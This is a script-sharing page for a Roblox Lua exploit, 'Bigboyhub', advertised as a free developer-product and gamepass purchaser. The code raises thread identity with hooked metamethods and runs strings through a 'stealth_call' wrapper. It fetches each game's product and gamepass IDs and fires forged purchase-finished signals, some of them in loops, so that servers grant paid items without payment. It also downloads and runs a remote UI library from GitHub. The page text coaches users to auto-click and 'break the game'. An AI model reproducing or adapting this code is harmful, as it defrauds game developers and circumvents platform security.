Free Dev product and gamepass purchaser
Key RequiredUniversal

Free Dev product and gamepass purchaser

Universal ScriptFlipflopFlipflop 4.2K views 1.3K executesUpdated Mar 1, 2026
5.0/ 5(3 votes)
30100% Positive
Lua Script•537 lines (23486 chars)
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Official Bigboyhub Script Add me at rickastley9026
-- DOES NOT WORK FOR ALL GAMES
-- Games i found it works on
--[[]Tested & working on:
Ultra hatching simulator X
Click game X
Pet hatching simulator 99
Clickers Adventure
Clicker adventure
Secret Tappers
Mysterious Hatchers X
Clicker legends
Tapping Master
Mega Hatchers X
Ultimate tappers
pet tappers
Pet hatchers X
tapping gods
Godly tappers 99
slushy tappers
tapping mayhem
egg tappers
WWII Tycoon
Undead-Rising-Tycoon
Protect the house
prison mining simulator
pyro playground
infections battleground
The-1-000-000-Glass-Bridge
Reborn as Driller]]

local bigboyhubsuccess,bigboyhuberror = pcall(function()
getgenv().bigboyhub_version = "6.9.4.2.0" 


local queueonteleport = queue_on_teleport or queueonteleport
local setclipboard = toclipboard or setrbxclipboard or setclipboard
local clonefunction = clonefunc or clonefunction or function(f) return f end
local setthreadidentity = set_thread_identity or setthreadcaps or setthreadidentity

if getnamecallmethod then 
    local getnamecallmethod = get_namecall_method or getnamecallmethod
end


local a = Instance.new("Part")
for b, c in pairs(getreg()) do
    if type(c) == "table" and #c then
        if rawget(c, "__mode") == "kvs" then
            for d, e in pairs(c) do
                if e == a then
                    getgenv().InstanceList = c
                    break
                end
            end
        end
    end
end
local f = {}
function f.invalidate(g)
    if not InstanceList then
        return
    end
    for b, c in pairs(InstanceList) do
        if c == g then
            InstanceList[b] = nil
            return g
        end
    end
end
if not cloneref then
    getgenv().cloneref = f.invalidate
end

getrenv().Visit = cloneref(game:GetService("Visit"))
getrenv().MarketplaceService = cloneref(game:GetService("MarketplaceService"))
getrenv().HttpRbxApiService = cloneref(game:GetService("HttpRbxApiService"))
local CoreGui = cloneref(game:GetService("CoreGui")) 
local Players = cloneref(game:GetService("Players")) 

getrenv().getgenv = clonefunction(getgenv)


-- stealth_call function (this shit is needed for Purchase Exploits so dont change shit here) 
getgenv().stealth_call = function(script_code)
    if clonefunction and setthreadidentity then
        getrenv()._set = clonefunction(setthreadidentity)
    else
        warn("Bigboyhub: clonefunction or setthreadidentity is nil. Stealth call might not work as intended.")
        getrenv()._set = setthreadidentity 
    end

    local old_hook
    old_hook =
        hookmetamethod(
        game,
        "__index",
        function(a_hook, b_hook)
            task.spawn(
                function()
                    if getrenv()._set then
                        getrenv()._set(7)
                    else
                        warn("Bigboyhub: _set is nil in stealth_call task.spawn. Attempting direct setthreadidentity.")
                        if setthreadidentity then
                            local success_si, err_si = pcall(setthreadidentity, 7)
                            if not success_si then
                                 warn("Bigboyhub: Direct setthreadidentity failed in task.spawn:", err_si)
                            end
                        else
                            warn("Bigboyhub: setthreadidentity is nil, cannot set thread identity.")
                        end
                    end
                    task.wait(0.1)
                    local went, error_msg
                    local ls_success, ls_func = pcall(loadstring, script_code)
                    if ls_success and type(ls_func) == "function" then
                        went, error_msg = pcall(ls_func)
                    else
                        went = false
                        error_msg = "Failed to load script string: " .. tostring(ls_func) 
                    end
                    if went then
                        local check = Instance.new("LocalScript")
                        check.Parent = Visit
                    end
                end
            )
            hookmetamethod(game, "__index", old_hook)
            return old_hook(a_hook, b_hook)
        end
    )
end

task.spawn(
    function()
        local discord_load_s, discord = pcall(loadstring, game:HttpGet("https://raw.githubusercontent.com/ckw69/Wyborn/refs/heads/main/main%202"))
        if not discord_load_s or not discord then
            warn("Bigboyhub: Failed to load Discord UI library:", discord)
            return
        end
        discord = discord() 

        local win =
            discord:Window("Bigboyhub " .. getgenv().bigboyhub_version .. " - Bigboysu likes using Bigboyhub")
        local serv = win:Server("Bigboyhub", "http://www.roblox.com/asset/?id=6031075938")
        
        local purchase_ch = serv:Channel("Purchase Exploits")
        local dnames = {}
        local dproductIds = {}
        local HttpService = game:GetService("HttpService")

        -- ##################################################################################
        -- ## FIXED: Use MarketplaceService:GetDeveloperProductsAsync()                  ##
        -- ## This is a NATIVE Roblox engine call - no HTTP requests needed at all.      ##
        -- ## Works in every executor including Velocity. No API blocks possible.        ##
        -- ## Falls back to HTTP endpoints only if the native call somehow fails.        ##
        -- ##################################################################################

        local MarketplaceService = game:GetService("MarketplaceService")

        local function tryFetchProducts()
            -- METHOD 1: Native engine call - no HTTP, works in all executors
            local ok1, err1 = pcall(function()
                local pages = MarketplaceService:GetDeveloperProductsAsync()
                while true do
                    for _, dp in ipairs(pages:GetCurrentPage()) do
                        local pName = dp.Name or dp.name
                        local pId   = dp.ProductId or dp.productId
                        if pName and pId then
                            table.insert(dnames, pName)
                            table.insert(dproductIds, pId)
                        end
                    end
                    if pages.IsFinished then break end
                    pages:AdvanceToNextPageAsync()
                end
            end)

            if ok1 and #dnames > 0 then return end
            warn("Bigboyhub: Native GetDeveloperProductsAsync failed: " .. tostring(err1) .. " - trying HTTP fallback...")

            -- METHOD 2: HTTP fallback via HttpRbxApiService (elevated permissions)
            dnames = {}
            dproductIds = {}
            local cursor = nil
            local fetched = false

            local ok2, err2 = pcall(function()
                repeat
                    local url = "https://games.roblox.com/v1/games/" .. tostring(game.GameId) .. "/developer-products?limit=100&sortOrder=Asc"
                    if cursor and type(cursor) == "string" and cursor ~= "" then
                        url = url .. "&cursor=" .. HttpService:UrlEncode(cursor)
                    end

                    local responseText
                    -- Try HttpRbxApiService first (has higher Roblox trust level)
                    local s1, r1 = pcall(function()
                        return game:GetService("HttpRbxApiService"):GetAsync(url, true)
                    end)
                    if s1 and r1 and r1 ~= "" then
                        responseText = r1
                    else
                        responseText = game:HttpGet(url)
                    end

                    local ok, decodedResponse = pcall(function() return HttpService:JSONDecode(responseText) end)
                    if not ok then decodedResponse = nil end

                    local productsList = decodedResponse and (decodedResponse.data or decodedResponse.developerProducts)
                    if productsList and type(productsList) == "table" then
                        fetched = true
                        for _, dp in ipairs(productsList) do
                            local pName = dp.name or dp.Name
                            local pId   = dp.productId or dp.ProductId
                            if pName and pId then
                                table.insert(dnames, pName)
                                table.insert(dproductIds, pId)
                            end
                        end
                    end

                    local nextCursor = decodedResponse and decodedResponse.nextPageCursor
                    cursor = (nextCursor and type(nextCursor) == "string" and nextCursor ~= "") and nextCursor or nil
                until not cursor
            end)

            if ok2 and fetched then return end
            warn("Bigboyhub: HTTP fallback also failed: " .. tostring(err2))
            error("All methods failed to fetch developer products.")
        end

        local fetchSuccess, fetchError = pcall(tryFetchProducts)

        if not fetchSuccess then
            warn("Bigboyhub: CRITICAL Error during developer product fetch: " .. tostring(fetchError))
            discord:Notification("API Error", "Failed to load developer products. Check console (F9).", "Okay!")
        end

        if #dnames == 0 then
            table.insert(dnames, " ") 
        end

        purchase_ch:Label("Fake Purchaser!\nThis tricks server that you bought a DevProduct!")
        purchase_ch:Label("Only works in some games since it uses the old api lmao ")
        local selected_devprod_index
        purchase_ch:Dropdown(
            "Below is a list of all DevProducts in this game!",
            dnames,
            function(x)
                selected_devprod_index = nil
                for i_dp, name_val_dp in ipairs(dnames) do
                    if name_val_dp == x then
                        selected_devprod_index = i_dp
                        break
                    end
                end
            end
        )
        getgenv().bigboyhublooppurchases = false
        purchase_ch:Label("If nothing shows above, no DevProducts found.")
        purchase_ch:Toggle(
            "Loop Selected Dev Product",
            false,
            function(bool)
                getgenv().bigboyhublooppurchases = bool
                while getgenv().bigboyhublooppurchases == true and task.wait() do
                    if selected_devprod_index and dproductIds[selected_devprod_index] then
                        local product_id_to_fire = dproductIds[selected_devprod_index]
                        pcall(
                            function()
                                if getgenv().stealth_call then
                                    getgenv().stealth_call(
                                        "game:GetService('MarketplaceService'):SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                            product_id_to_fire .. ", true) "
                                    )
                                else
                                    warn("Bigboyhub: stealth_call is not defined!")
                                end
                            end
                        )
                    else
                        if getgenv().bigboyhublooppurchases then
                             task.wait(1) 
                        end
                    end
                end
            end
        )
        purchase_ch:Button(
            "Fire Selected Dev Product!",
            function()
                if selected_devprod_index and dproductIds[selected_devprod_index] then
                    local product_id_to_fire = dproductIds[selected_devprod_index]
                    pcall(
                        function()
                            if getgenv().stealth_call then
                                getgenv().stealth_call(
                                    "game:GetService('MarketplaceService'):SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                        product_id_to_fire .. ", true) "
                                )
                            else
                                 warn("Bigboyhub: stealth_call is not defined!")
                            end
                        end
                    )
                    task.wait(0.2)
                    if not Visit:FindFirstChild("LocalScript") then
                        discord:Notification(
                            "Error",
                            "Your executor blocked function SignalPromptProductPurchaseFinished or stealth_call failed.",
                            "Okay!"
                        )
                    else
                        discord:Notification(
                            "Success",
                            "Fired PromptProductPurchaseFinished signal to server with productId: " ..
                                tostring(product_id_to_fire),
                            "Okay!"
                        )
                        if Visit:FindFirstChild("LocalScript") then Visit:FindFirstChild("LocalScript"):Destroy() end
                    end
                else
                    discord:Notification("Error", "Please select a DevProduct from the list, or the selected product is invalid.", "Okay!")
                end
            end
        )
        purchase_ch:Button(
            "Fire All Dev Products",
            function()
                if #dproductIds == 0 or (#dproductIds == 1 and (dproductIds[1] == nil or dproductIds[1] == "" or dproductIds[1] == " ")) then
                    discord:Notification("Info", "No developer products found to fire.", "Okay!")
                    return
                end
                local starttickcc = tick()
                for i_adp, product_id_to_fire_adp in pairs(dproductIds) do
                    if product_id_to_fire_adp and product_id_to_fire_adp ~= "" and product_id_to_fire_adp ~= " " then
                        task.spawn( 
                            function()
                                pcall(
                                    function()
                                        if getgenv().stealth_call then
                                            getgenv().stealth_call(
                                                "game:GetService('MarketplaceService'):SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                                    product_id_to_fire_adp .. ", true) "
                                            )
                                        else
                                            warn("Bigboyhub: stealth_call is not defined!")
                                        end
                                    end
                                )
                            end
                        )
                        task.wait() 
                    end
                end
                local endtickcc = tick()
                local durationxd = endtickcc - starttickcc
                discord:Notification(
                    "Attempt",
                    "Fired All Dev Products! Took " .. string.format("%.2f", durationxd) .. " Seconds!",
                    "Okay!"
                )
            end
        )
        getgenv().bigboyhublooppurchases2 = false
        purchase_ch:Toggle(
            "Loop All Dev Products",
            false,
            function(bool)
                getgenv().bigboyhublooppurchases2 = bool
                while getgenv().bigboyhublooppurchases2 == true and task.wait() do
                    if #dproductIds == 0 or (#dproductIds == 1 and (dproductIds[1] == nil or dproductIds[1] == "" or dproductIds[1] == " ")) then
                         if getgenv().bigboyhublooppurchases2 then
                            task.wait(1) 
                         end
                    else
                        for i_ladp, product_id_to_fire_ladp in pairs(dproductIds) do 
                            if product_id_to_fire_ladp and product_id_to_fire_ladp ~= "" and product_id_to_fire_ladp ~= " " then
                                task.spawn( 
                                    function()
                                        pcall(
                                            function()
                                                if getgenv().stealth_call then
                                                    getgenv().stealth_call(
                                                        "game:GetService('MarketplaceService'):SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                                            product_id_to_fire_ladp .. ", true) "
                                                    )
                                                else
                                                     warn("Bigboyhub: stealth_call is not defined!")
                                                end
                                            end
                                        )
                                    end
                                )
                                task.wait()
                            end
                        end
                    end
                end
            end
        )
        purchase_ch:Seperator()
        purchase_ch:Label("Pretty much the same as the one above but for gamepass")
        local bigboyhubgamepass_data = nil
        pcall(function()
            bigboyhubgamepass_data = HttpService:JSONDecode(
                game:HttpGet(
                    "https://games.roblox.com/v1/games/" .. game.GameId .. "/game-passes?limit=100&sortOrder=Asc" 
                )
            )
        end)

        local gnames = {}
        local gproductIds = {}
        if bigboyhubgamepass_data and bigboyhubgamepass_data.data then
            for i_gp_data, v_gp_data in pairs(bigboyhubgamepass_data.data) do
                table.insert(gnames, v_gp_data.name)
                table.insert(gproductIds, v_gp_data.id)
            end
        end
        if #gnames == 0 then table.insert(gnames, " ") end 

        local gamepass_id_selected = nil
        purchase_ch:Dropdown(
            "Below is a list of all GamePass in this game!",
            gnames,
            function(x)
                gamepass_id_selected = nil
                for i_gp_select, name_val_gp_select in ipairs(gnames) do 
                    if name_val_gp_select == x then
                        gamepass_id_selected = gproductIds[i_gp_select]
                        break
                    end
                end
            end
        )
        purchase_ch:Label("If nothing shows above, no GamePass found.")
        purchase_ch:Button(
            "Fire Selected Gamepass",
            function()
                if gamepass_id_selected then
                    pcall(
                        function()
                            if getgenv().stealth_call then
                                getgenv().stealth_call(
                                    "game:GetService('MarketplaceService'):SignalPromptGamePassPurchaseFinished(game.Players.LocalPlayer, " ..
                                        tostring(gamepass_id_selected) .. ", true)"
                                )
                            else
                                warn("Bigboyhub: stealth_call is not defined!")
                            end
                        end
                    )
                    task.wait(0.2)
                    if not Visit:FindFirstChild("LocalScript") then
                        discord:Notification(
                            "Error",
                            "Your executor blocked function SignalPromptGamePassPurchaseFinished or stealth_call failed for some reason idk.",
                            "Okay!"
                        )
                    else
                        discord:Notification(
                            "Success",
                            "Fired PromptGamePassPurchaseFinished signal to server with gamePassId: " .. 
                                tostring(gamepass_id_selected),
                            "Okay!"
                        )
                        if Visit:FindFirstChild("LocalScript") then Visit:FindFirstChild("LocalScript"):Destroy() end
                    end
                else
                    discord:Notification("Error", "No GamePass selected or GamePass ID missing.", "Okay!")
                end
            end
        )
        purchase_ch:Seperator()
        purchase_ch:Label("Signals to server that an item purchase failed.")
        purchase_ch:Label("This can trick servers to reprompt an item!")
        local returnvalprompt = false
        purchase_ch:Toggle(
            "Item Purchase Success Return Value",
            returnvalprompt,
            function(bool)
                returnvalprompt = bool
            end
        )
        purchase_ch:Textbox( 
            "Item ID of the UGC item",
            "Enter the Item ID and press Enter...", 
            true, 
            function(t)
                local tt = tonumber(t)
                if type(tt) == "number" then
                    pcall(
                        function()
                            if getgenv().stealth_call then
                                getgenv().stealth_call(
                                    "game:GetService('MarketplaceService'):SignalPromptPurchaseFinished(game.Players.LocalPlayer, " ..
                                        tt ..
                                            ", false) game:GetService('MarketplaceService'):SignalPromptPurchaseFinished(game.Players.LocalPlayer, " ..
                                                tt .. ", " .. tostring(returnvalprompt) .. ")"
                                )
                            else
                                warn("Bigboyhub: stealth_call is not defined!")
                            end
                        end
                    )
                    task.wait(0.2)
                    if not Visit:FindFirstChild("LocalScript") then
                        discord:Notification(
                            "Error",
                            "Your executor blocked function SignalPromptPurchaseFinished or stealth_call failed.",
                            "Okay!"
                        )
                    else
                        discord:Notification(
                            "Success",
                            "Fired signal PromptPurchaseFinished with bool " ..tostring(returnvalprompt) .. " and assetId: " .. tostring(tt),
                            "Okay!"
                        )
                        if Visit:FindFirstChild("LocalScript") then Visit:FindFirstChild("LocalScript"):Destroy() end
                    end
                else
                    discord:Notification("Error", "Thats Not an Item ID.", "Okay!")
                end
            end
        )
        purchase_ch:Seperator()
    end
)
if not bigboyhubsuccess or bigboyhuberror ~= nil then
    warn("Bigboyhub Script Error: " .. tostring(bigboyhuberror))
end
end)

Features & Information

Free dev product purchaser (fixed now) Sometimes you have to click "Fire Selected Dev Product!" And then click on the Item you actually want to buy. It can sometimes trick the game and give it to you for free. REQUIRES EXECUTOR THAT SUPPORTS HOOKMETAMETOD LIKE VELOCITY TO USE bro like Heres an example https://www.roblox.com/games/91167370829667/RNG-Civilization Join the game and execute the script You will see TIX on the left side on your screen and obviously, you want as much of THAT. You can select the +20 Tickets on the script and loop it and at first nothing will happen. Thats because you need to click on the +20 That you see on the left side on your screen to actually get it. (Get an autoclicker) Then you have broken the game.
#Free#Dev Product#Gamepass

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts